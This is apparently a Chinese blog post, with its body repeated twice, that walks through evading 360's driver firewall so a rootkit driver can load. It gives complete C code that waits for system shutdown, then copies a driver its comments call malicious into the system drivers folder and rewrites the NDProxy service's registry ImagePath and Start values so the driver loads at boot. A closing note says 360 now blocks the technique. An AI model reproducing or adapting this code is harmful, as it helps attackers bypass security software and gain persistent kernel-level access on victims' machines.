<p>一开始,RK和ARK之间的“军备竞赛”比拼的是哪一方对Windows内核了解的更加深入——越底层就越能抢占到制高点。然而后来,ARK很不厚道的用“驱动防火墙”将RK进入内核的愿望击的粉碎。进不了内核,RK Coder们的种种奇技淫巧的施展自然大受限制。 <br>
前两天翻看《黑客防线》时,看到鹿剑
的文章《绕过360驱动防火墙加载驱动结束360》中提出了一种绕过360驱动防火墙的思路——拦截系统的关闭消息,在系统关闭时写注册表。他在原文中说
“在这个段站的时间里,用户可能看不到那个服务安装的提示框”。实现的方式就是在一个GUI程序里,注册一个WM_QUERYENDSESSION消息的
处理函数OnQueryEndSession。当系统关闭时,会向程序发送WM_QUERYENDSESSION消息来通知程序“系统即将关闭,请做好善
后工作”,此时OnQueryEndSession函数就会得到调用。如果将写注册表的操作放入这个函数中进行,就可以绕过360的拦截。具体的实现代码
可以去找这篇文章看看。 <br>
我自己没有尝试这种方式是否有效,只是觉得既然是要做一些见不得人的事,最好就不要加GUI了。于是就想看看能不能写一个控制台程序来实现同样的功能?于
是查MSDN,看到了这个API——SetConsoleCtrlHandler,它能够给一个控制台程序注册一个处理例程,当用户在控制台下按下了
ctr+c,ctr+break等按键时,系统就调用这个注册的处理例程通知程序。这个处理例程的原型为 <br>
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType); <br>
dwCtrlType的值表示了系统调用这个函数的原因,MSDN中列出了几种调用情况(具体请查阅MSDN)其中就包括CTRL_SHUTDOWN_EVENT、CTRL_LOGOFF_EVENT以及CTRL_CLOSE_EVENT <br>
分别表示系统关机事件,用户注销事件、以及用户关闭控制台事件。 <br>
然而在实际测试时发现,即便是给控制台程序注册了这么一个处理例程,在系统关闭的时候,360依然可以拦截到在处理例程中写注册表的操作!就在山重水复疑
无路的时候,另一个API SetProcessShutdownParameters然我重新看到一丝曙光,这个函数的原型为 <br><br>
BOOL WINAPI SetProcessShutdownParameters( <br>
__in DWORD dwLevel, <br>
__in DWORD dwFlags <br>
); <br>
其中dwLevel表示在系统怪关闭时,进程被Kill掉的优先级,优先级越高自然死的就越快,MSDN中定义这个dwLevel的取值为以下几种情况—— <br>
Value Meaning <br>
000-0FF System reserved last shutdown range. <br>
100-1FF Application reserved last shutdown range. <br>
200-2FF Application reserved "in between" shutdown range. <br>
300-3FF Application reserved first shutdown range. <br>
400-4FF System reserved first shutdown range. <br>
MSDN还补充了一句“All processes start at shutdown level 0x280” <br>
一开始我以为Application的dwLevel取值只能是100-1FF或者200-2FF,在这些值之间测试,写注册表的操作依然可以被360拦截,最后索性喝出去了直接赋0,大不了蓝屏呗~没想到竟然还真行了! <br>
以下是具体的实现代码 <br>
#include <windows.h> <br>
#include <stdio.h> <br>
/*恶意驱动路径*/ <br>
#define MAL_DRIVER_FILE_PATH "C://QQ//GRD_Tercent.sys" <br>
/*目标路径,将恶意驱动复制到系统驱动文件夹下*/ <br>
#define SYS_DRIVER_FILE_PATH "C://Windows//system32//drivers//GRD_Tercent.sys" <br>
/*在注册表Services键下的一个子键*/ <br>
#define SUB_KEY_PATH "SYSTEM//CurrentControlSet//Services//NDProxy" <br>
/*NDProxy中ImagePath的值*/ <br>
#define IMAGE_PATH_VALUE "system32//drivers//GRD_Tercent.sys" <br>
BOOL g_bExit = FALSE; <br>
BOOL CtrlHandler(DWORD fdwCtrlType ) <br>
{ <br><br>
/*当系统关闭的时候会调用该函数,并传入fdwCtrlType说明调用的原因*/ <br>
if(fdwCtrlType == CTRL_CLOSE_EVENT|| <br>
fdwCtrlType == CTRL_LOGOFF_EVENT || <br>
fdwCtrlType == CTRL_SHUTDOWN_EVENT) <br><br>
{ <br><br>
/*将驱动文件复制到系统目录下*/ <br>
BOOL bRet = CopyFile(MAL_DRIVER_FILE_PATH,SYS_DRIVER_FILE_PATH,FALSE); <br>
if(FALSE == bRet) <br>
{ <br>
g_bExit = TRUE; <br>
return 1; <br>
} <br><br>
/*打开注册表键*/ <br>
HKEY hKey = NULL; <br>
LONG lRet = ERROR_SUCCESS; <br>
lRet = RegOpenKey(HKEY_LOCAL_MACHINE,SUB_KEY_PATH,&hKey); <br>
if (ERROR_SUCCESS != lRet) <br>
{ <br><br>
g_bExit = TRUE; <br>
return 1; <br>
} <br>
DWORD dwData = 0; <br>
/*将NDProxy下的ImagePath设置为驱动的路径*/ <br>
lRet = RegSetValueEx(hKey,"ImagePath",0,REG_SZ,IMAGE_PATH_VALUE,strlen(IMAGE_PATH_VALUE)); <br>
if (ERROR_SUCCESS != lRet) <br>
{ <br>
RegCloseKey(hKey); <br>
g_bExit = TRUE; <br>
return 1; <br>
} <br>
DWORD dwStart = 1; <br>
/*将NDProxy设置为1表示自启动*/ <br>
lRet = RegSetValueEx(hKey,"Start",0,REG_DWORD,(const BYTE*)&dwStar,sizeof(dwStart)); <br>
if (ERROR_SUCCESS != lRet) <br>
{ <br>
RegCloseKey(hKey); <br>
g_bExit = TRUE; <br>
return 1; <br>
} <br>
RegCloseKey(hKey); <br>
/*结束进程*/ <br>
ExitProcess(0); <br>
} <br>
return 1; <br>
} <br>
int main() <br>
{ <br><br>
/*将该进程在系统关闭时的优先级设置为最低*/ <br>
if(!SetProcessShutdownParameters(0x00,FALSE)) <br>
{ <br>
printf("Error Code%d/r/n",GetLastError()); <br>
return 0; <br>
} <br>
/*为该进程注册一个控制台处理例程*/ <br>
if( SetConsoleCtrlHandler((PHANDLER_ROUTINE)CtrlHandler, <br>
TRUE) != TRUE) <br>
{ <br>
printf("Error Code%d/r/n",GetLastError()); <br>
return 0; <br>
} <br><br>
/*这里什么都不干,等待系统的关闭*/ <br>
do <br>
{ <br>
Sleep(1000); <br>
} <br>
while(g_bExit != TRUE); <br><br>
return 0; <br>
} <br>
重新启动后,系统就会自动加载驱动GRD_Tercen.sys,在这个驱动里什么都没干,只是打印了若干个MJ1112而已 <br>
以调试方式启动虚拟机,可以在windbg中看到这是没有加载驱动时,系统启动时输出的信息</p>
<p></p>
<p></p>
<p><span style="color: #ff0000;">本人注:此bug对360来说已经失效,360一是拦截了把自己进程设为最后关闭的动作:</span>
</p>
<p><span style="color: #ff0000;">SetProcessShutdownParameters(0x00,FALSE)</span>
</p>
<p><span style="color: #ff0000;">在360的环境下调用此函数,总是返回ErrorCode:5,如果改为:</span>
</p>
<p><span style="color: #ff0000;">SetProcessShutdownParameters(0x01,FALSE);</span>
</p>
<p><span style="color: #ff0000;">且生成的程序名为taskmgr.exe,则不会返回错误码了,但是在关闭系统时,360还是会弹框提示用户是否加载驱动,说明360把自己设为了最后一个关闭的进程。</span></p>
前两天翻看《黑客防线》时,看到鹿剑
的文章《绕过360驱动防火墙加载驱动结束360》中提出了一种绕过360驱动防火墙的思路——拦截系统的关闭消息,在系统关闭时写注册表。他在原文中说
“在这个段站的时间里,用户可能看不到那个服务安装的提示框”。实现的方式就是在一个GUI程序里,注册一个WM_QUERYENDSESSION消息的
处理函数OnQueryEndSession。当系统关闭时,会向程序发送WM_QUERYENDSESSION消息来通知程序“系统即将关闭,请做好善
后工作”,此时OnQueryEndSession函数就会得到调用。如果将写注册表的操作放入这个函数中进行,就可以绕过360的拦截。具体的实现代码
可以去找这篇文章看看。 <br>
我自己没有尝试这种方式是否有效,只是觉得既然是要做一些见不得人的事,最好就不要加GUI了。于是就想看看能不能写一个控制台程序来实现同样的功能?于
是查MSDN,看到了这个API——SetConsoleCtrlHandler,它能够给一个控制台程序注册一个处理例程,当用户在控制台下按下了
ctr+c,ctr+break等按键时,系统就调用这个注册的处理例程通知程序。这个处理例程的原型为 <br>
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType); <br>
dwCtrlType的值表示了系统调用这个函数的原因,MSDN中列出了几种调用情况(具体请查阅MSDN)其中就包括CTRL_SHUTDOWN_EVENT、CTRL_LOGOFF_EVENT以及CTRL_CLOSE_EVENT <br>
分别表示系统关机事件,用户注销事件、以及用户关闭控制台事件。 <br>
然而在实际测试时发现,即便是给控制台程序注册了这么一个处理例程,在系统关闭的时候,360依然可以拦截到在处理例程中写注册表的操作!就在山重水复疑
无路的时候,另一个API SetProcessShutdownParameters然我重新看到一丝曙光,这个函数的原型为 <br><br>
BOOL WINAPI SetProcessShutdownParameters( <br>
__in DWORD dwLevel, <br>
__in DWORD dwFlags <br>
); <br>
其中dwLevel表示在系统怪关闭时,进程被Kill掉的优先级,优先级越高自然死的就越快,MSDN中定义这个dwLevel的取值为以下几种情况—— <br>
Value Meaning <br>
000-0FF System reserved last shutdown range. <br>
100-1FF Application reserved last shutdown range. <br>
200-2FF Application reserved "in between" shutdown range. <br>
300-3FF Application reserved first shutdown range. <br>
400-4FF System reserved first shutdown range. <br>
MSDN还补充了一句“All processes start at shutdown level 0x280” <br>
一开始我以为Application的dwLevel取值只能是100-1FF或者200-2FF,在这些值之间测试,写注册表的操作依然可以被360拦截,最后索性喝出去了直接赋0,大不了蓝屏呗~没想到竟然还真行了! <br>
以下是具体的实现代码 <br>
#include <windows.h> <br>
#include <stdio.h> <br>
/*恶意驱动路径*/ <br>
#define MAL_DRIVER_FILE_PATH "C://QQ//GRD_Tercent.sys" <br>
/*目标路径,将恶意驱动复制到系统驱动文件夹下*/ <br>
#define SYS_DRIVER_FILE_PATH "C://Windows//system32//drivers//GRD_Tercent.sys" <br>
/*在注册表Services键下的一个子键*/ <br>
#define SUB_KEY_PATH "SYSTEM//CurrentControlSet//Services//NDProxy" <br>
/*NDProxy中ImagePath的值*/ <br>
#define IMAGE_PATH_VALUE "system32//drivers//GRD_Tercent.sys" <br>
BOOL g_bExit = FALSE; <br>
BOOL CtrlHandler(DWORD fdwCtrlType ) <br>
{ <br><br>
/*当系统关闭的时候会调用该函数,并传入fdwCtrlType说明调用的原因*/ <br>
if(fdwCtrlType == CTRL_CLOSE_EVENT|| <br>
fdwCtrlType == CTRL_LOGOFF_EVENT || <br>
fdwCtrlType == CTRL_SHUTDOWN_EVENT) <br><br>
{ <br><br>
/*将驱动文件复制到系统目录下*/ <br>
BOOL bRet = CopyFile(MAL_DRIVER_FILE_PATH,SYS_DRIVER_FILE_PATH,FALSE); <br>
if(FALSE == bRet) <br>
{ <br>
g_bExit = TRUE; <br>
return 1; <br>
} <br><br>
/*打开注册表键*/ <br>
HKEY hKey = NULL; <br>
LONG lRet = ERROR_SUCCESS; <br>
lRet = RegOpenKey(HKEY_LOCAL_MACHINE,SUB_KEY_PATH,&hKey); <br>
if (ERROR_SUCCESS != lRet) <br>
{ <br><br>
g_bExit = TRUE; <br>
return 1; <br>
} <br>
DWORD dwData = 0; <br>
/*将NDProxy下的ImagePath设置为驱动的路径*/ <br>
lRet = RegSetValueEx(hKey,"ImagePath",0,REG_SZ,IMAGE_PATH_VALUE,strlen(IMAGE_PATH_VALUE)); <br>
if (ERROR_SUCCESS != lRet) <br>
{ <br>
RegCloseKey(hKey); <br>
g_bExit = TRUE; <br>
return 1; <br>
} <br>
DWORD dwStart = 1; <br>
/*将NDProxy设置为1表示自启动*/ <br>
lRet = RegSetValueEx(hKey,"Start",0,REG_DWORD,(const BYTE*)&dwStar,sizeof(dwStart)); <br>
if (ERROR_SUCCESS != lRet) <br>
{ <br>
RegCloseKey(hKey); <br>
g_bExit = TRUE; <br>
return 1; <br>
} <br>
RegCloseKey(hKey); <br>
/*结束进程*/ <br>
ExitProcess(0); <br>
} <br>
return 1; <br>
} <br>
int main() <br>
{ <br><br>
/*将该进程在系统关闭时的优先级设置为最低*/ <br>
if(!SetProcessShutdownParameters(0x00,FALSE)) <br>
{ <br>
printf("Error Code%d/r/n",GetLastError()); <br>
return 0; <br>
} <br>
/*为该进程注册一个控制台处理例程*/ <br>
if( SetConsoleCtrlHandler((PHANDLER_ROUTINE)CtrlHandler, <br>
TRUE) != TRUE) <br>
{ <br>
printf("Error Code%d/r/n",GetLastError()); <br>
return 0; <br>
} <br><br>
/*这里什么都不干,等待系统的关闭*/ <br>
do <br>
{ <br>
Sleep(1000); <br>
} <br>
while(g_bExit != TRUE); <br><br>
return 0; <br>
} <br>
重新启动后,系统就会自动加载驱动GRD_Tercen.sys,在这个驱动里什么都没干,只是打印了若干个MJ1112而已 <br>
以调试方式启动虚拟机,可以在windbg中看到这是没有加载驱动时,系统启动时输出的信息</p>
<p></p>
<p></p>
<p><span style="color: #ff0000;">本人注:此bug对360来说已经失效,360一是拦截了把自己进程设为最后关闭的动作:</span>
</p>
<p><span style="color: #ff0000;">SetProcessShutdownParameters(0x00,FALSE)</span>
</p>
<p><span style="color: #ff0000;">在360的环境下调用此函数,总是返回ErrorCode:5,如果改为:</span>
</p>
<p><span style="color: #ff0000;">SetProcessShutdownParameters(0x01,FALSE);</span>
</p>
<p><span style="color: #ff0000;">且生成的程序名为taskmgr.exe,则不会返回错误码了,但是在关闭系统时,360还是会弹框提示用户是否加载驱动,说明360把自己设为了最后一个关闭的进程。</span></p>